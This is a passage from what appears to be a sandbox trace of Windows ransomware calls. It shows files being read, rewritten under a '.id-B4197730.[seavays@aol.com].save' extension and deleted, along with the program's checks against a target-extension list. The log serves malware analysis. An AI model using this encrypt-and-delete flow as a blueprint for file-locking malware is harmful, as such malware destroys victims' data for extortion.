lpString2=".save") returned -1 [0054.025] lstrlenW (lpString="header.bmp") returned 10 [0054.025] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0054.164] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=3628) returned 1 [0054.164] CloseHandle (hObject=0x2e8) returned 1 [0054.164] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp")) returned 0x80 [0054.164] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\header.bmp.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0054.164] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0054.165] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0054.165] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0054.165] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\header.bmp.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0054.165] GetLastError () returned 0x0 [0054.165] ReadFile (in: hFile=0x2e8, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0xe2c, lpOverlapped=0x0) returned 1 [0054.166] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xe30, lpOverlapped=0x0) returned 1 [0054.167] ReadFile (in: hFile=0x2e8, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0054.167] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xe8, lpOverlapped=0x0) returned 1 [0054.167] SetEndOfFile (hFile=0x314) returned 1 [0054.168] CloseHandle (hObject=0x314) returned 1 [0054.168] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0054.168] SetEndOfFile (hFile=0x2e8) returned 1 [0054.169] CloseHandle (hObject=0x2e8) returned 1 [0054.182] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0054.183] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp")) returned 1 [0054.183] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0054.183] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0054.183] lstrlenW (lpString=".doc") returned 4 [0054.183] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0054.183] lstrlenW (lpString=".docx") returned 5 [0054.183] lstrcmpiW (lpString1=".docx", lpString2="r.bmp") returned -1 [0054.183] lstrlenW (lpString=".pdf") returned 4 [0054.183] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0054.183] lstrlenW (lpString=".xls") returned 4 [0054.183] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0054.183] lstrlenW (lpString=".xlsx") returned 5 [0054.183] lstrcmpiW (lpString1=".xlsx", lpString2="r.bmp") returned -1 [0054.183] lstrlenW (lpString=".ppt") returned 4 [0054.183] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0054.183] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0054.183] lstrlenW (lpString=".zip") returned 4 [0054.183] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0054.183] lstrlenW (lpString=".rar") returned 4 [0054.183] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0054.183] lstrlenW (lpString=".bz2") returned 4 [0054.183] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0054.183] lstrlenW (lpString=".7z") returned 3 [0054.184] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0054.184] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0054.184] lstrlenW (lpString=".dbf") returned 4 [0054.184] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0054.184] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0054.184] lstrlenW (lpString=".1cd") returned 4 [0054.184] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0054.184] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0054.184] lstrlenW (lpString=".jpg") returned 4 [0054.184] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0054.184] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0054.184] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0054.184] lstrlenW (lpString=".doc") returned 4 [0054.184] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0054.184] lstrlenW (lpString=".docx") returned 5 [0054.184] lstrcmpiW (lpString1=".docx", lpString2="r.bmp") returned -1 [0054.184] lstrlenW (lpString=".pdf") returned 4 [0054.184] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0054.184] lstrlenW (lpString=".xls") returned 4 [0054.184] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0054.184] lstrlenW (lpString=".xlsx") returned 5 [0054.184] lstrcmpiW (lpString1=".xlsx", lpString2="r.bmp") returned -1 [0054.184] lstrlenW (lpString=".ppt") returned 4 [0054.184] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0054.184] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0054.184] lstrlenW (lpString=".zip") returned 4 [0054.184] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0054.184] lstrlenW (lpString=".rar") returned 4 [0054.184] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0054.184] lstrlenW (lpString=".bz2") returned 4 [0054.184] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0054.185] lstrlenW (lpString=".7z") returned 3 [0054.185] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0054.185] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0054.185] lstrlenW (lpString=".dbf") returned 4 [0054.185] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0054.185] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0054.185] lstrlenW (lpString=".1cd") returned 4 [0054.185] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0054.185] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0054.185] lstrlenW (lpString=".jpg") returned 4 [0054.185] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0054.185] lstrcmpiW (lpString1=".bmp", lpString2=".save") returned -1 [0054.185] lstrlenW (lpString="SplashScreen.bmp") returned 16 [0054.185] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0054.185] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=41080) returned 1 [0054.185] CloseHandle (hObject=0x2e8) returned 1 [0054.185] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp")) returned 0x80 [0054.185] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0054.186] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0054.186] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0054.186] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0054.186] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0054.186] GetLastError () returned 0x0 [0054.186] ReadFile (in: hFile=0x2e8, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0xa078, lpOverlapped=0x0) returned 1 [0054.188] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xa080, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xa080, lpOverlapped=0x0) returned 1 [0054.190] ReadFile (in: hFile=0x2e8, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0054.190] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xf4, lpOverlapped=0x0) returned 1 [0054.190] SetEndOfFile (hFile=0x314) returned 1 [0054.190] CloseHandle (hObject=0x314) returned 1 [0054.191] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0054.191] SetEndOfFile (hFile=0x2e8) returned 1 [0054.193] CloseHandle (hObject=0x2e8) returned 1 [0054.193] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0054.193] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp")) returned 1 [0054.193] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0054.193] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0054.193] lstrlenW (lpString=".doc") returned 4 [0054.193] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0054.193] lstrlenW (lpString=".docx") returned 5 [0054.193] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1 [0054.193] lstrlenW (lpString=".pdf") returned 4 [0054.193] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0054.193] lstrlenW (lpString=".xls") returned 4 [0054.193] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0054.193] lstrlenW (lpString=".xlsx") returned 5 [0054.193] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1 [0054.193] lstrlenW (lpString=".ppt") returned 4 [0054.194] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0054.194] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0054.194] lstrlenW (lpString=".zip") returned 4 [0054.194] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0054.194] lstrlenW (lpString=".rar") returned 4 [0054.194] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0054.194] lstrlenW (lpString=".bz2") returned 4 [0054.194] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0054.194] lstrlenW (lpString=".7z") returned 3 [0054.194] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0054.194] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0054.194] lstrlenW (lpString=".dbf") returned 4 [0054.194] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0054.194] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0054.194] lstrlenW (lpString=".1cd") returned 4 [0054.194] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0054.194] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0054.194] lstrlenW (lpString=".jpg") returned 4 [0054.194] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0054.194] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0054.194] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0054.194] lstrlenW (lpString=".doc") returned 4 [0054.194] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0054.194] lstrlenW (lpString=".docx") returned 5 [0054.194] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1 [0054.194] lstrlenW (lpString=".pdf") returned 4 [0054.194] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0054.194] lstrlenW (lpString=".xls") returned 4 [0054.194] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0054.194] lstrlenW (lpString=".xlsx") returned 5 [0054.194] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1 [0054.195] lstrlenW (lpString=".ppt") returned 4 [0054.195] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0054.195] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0054.195] lstrlenW (lpString=".zip") returned 4 [0054.195] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0054.195] lstrlenW (lpString=".rar") returned 4 [0054.195] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0054.195] lstrlenW (lpString=".bz2") returned 4 [0054.195] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0054.195] lstrlenW (lpString=".7z") returned 3 [0054.195] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0054.195] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0054.195] lstrlenW (lpString=".dbf") returned 4 [0054.195] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0054.195] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0054.195] lstrlenW (lpString=".1cd") returned 4 [0054.195] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0054.195] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0054.195] lstrlenW (lpString=".jpg") returned 4 [0054.195] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0054.195] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0054.195] lstrlenW (lpString="Strings.xml") returned 11 [0054.195] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0054.196] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=14084) returned 1 [0054.196] CloseHandle (hObject=0x2e8) returned 1 [0054.196] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml")) returned 0x80 [0054.196] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\strings.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0054.196] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0054.196] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0054.196] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0054.196] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\strings.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0054.196] GetLastError () returned 0x0 [0054.196] ReadFile (in: hFile=0x2e8, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x3704, lpOverlapped=0x0) returned 1 [0054.838] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x3710, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x3710, lpOverlapped=0x0) returned 1 [0054.839] ReadFile (in: hFile=0x2e8, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0054.839] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xea, lpOverlapped=0x0) returned 1 [0054.839] SetEndOfFile (hFile=0x314) returned 1 [0054.839] CloseHandle (hObject=0x314) returned 1 [0054.840] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0054.840] SetEndOfFile (hFile=0x2e8) returned 1 [0054.841] CloseHandle (hObject=0x2e8) returned 1 [0054.841] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0054.842] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml")) returned 1 [0054.842] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0054.842] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0054.842] lstrlenW (lpString=".doc") returned 4 [0054.842] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0054.842] lstrlenW (lpString=".docx") returned 5 [0054.842] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0054.842] lstrlenW (lpString=".pdf") returned 4 [0054.842] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0054.842] lstrlenW (lpString=".xls") returned 4 [0054.842] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0054.842] lstrlenW (lpString=".xlsx") returned 5 [0054.842] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0054.842] lstrlenW (lpString=".ppt") returned 4 [0054.842] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0054.842] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0054.842] lstrlenW (lpString=".zip") returned 4 [0054.842] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0054.842] lstrlenW (lpString=".rar") returned 4 [0054.842] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0054.843] lstrlenW (lpString=".bz2") returned 4 [0054.843] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0054.843] lstrlenW (lpString=".7z") returned 3 [0054.843] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0054.843] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0054.843] lstrlenW (lpString=".dbf") returned 4 [0054.843] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0054.843] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0054.843] lstrlenW (lpString=".1cd") returned 4 [0054.843] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0054.843] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0054.843] lstrlenW (lpString=".jpg") returned 4 [0054.843] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0054.843] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0054.843] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0054.843] lstrlenW (lpString=".doc") returned 4 [0054.843] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0054.843] lstrlenW (lpString=".docx") returned 5 [0054.843] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0054.843] lstrlenW (lpString=".pdf") returned 4 [0054.843] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0054.843] lstrlenW (lpString=".xls") returned 4 [0054.843] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0054.843] lstrlenW (lpString=".xlsx") returned 5 [0054.843] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0054.843] lstrlenW (lpString=".ppt") returned 4 [0054.843] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0054.843] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0054.843] lstrlenW (lpString=".zip") returned 4 [0054.844] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0054.844] lstrlenW (lpString=".rar") returned 4 [0054.844] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0054.844] lstrlenW (lpString=".bz2") returned 4 [0054.844] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0054.844] lstrlenW (lpString=".7z") returned 3 [0054.844] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0054.844] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0054.844] lstrlenW (lpString=".dbf") returned 4 [0054.844] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0054.844] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0054.844] lstrlenW (lpString=".1cd") returned 4 [0054.844] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0054.844] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0054.844] lstrlenW (lpString=".jpg") returned 4 [0054.844] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0054.844] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0054.844] lstrlenW (lpString="base_kor.xml") returned 12 [0054.844] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0056.396] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=488) returned 1 [0056.396] CloseHandle (hObject=0x36c) returned 1 [0056.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml")) returned 0x20 [0056.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0056.396] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0056.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0056.397] lstrlenW (lpString=".doc") returned 4 [0056.397] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0056.397] lstrlenW (lpString=".docx") returned 5 [0056.397] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0056.397] lstrlenW (lpString=".pdf") returned 4 [0056.397] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0056.397] lstrlenW (lpString=".xls") returned 4 [0056.397] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0056.397] lstrlenW (lpString=".xlsx") returned 5 [0056.397] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0056.397] lstrlenW (lpString=".ppt") returned 4 [0056.397] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0056.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0056.397] lstrlenW (lpString=".zip") returned 4 [0056.397] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0056.397] lstrlenW (lpString=".rar") returned 4 [0056.397] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0056.397] lstrlenW (lpString=".bz2") returned 4 [0056.397] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0056.397] lstrlenW (lpString=".7z") returned 3 [0056.397] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0056.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0056.397] lstrlenW (lpString=".dbf") returned 4 [0056.397] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0056.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") 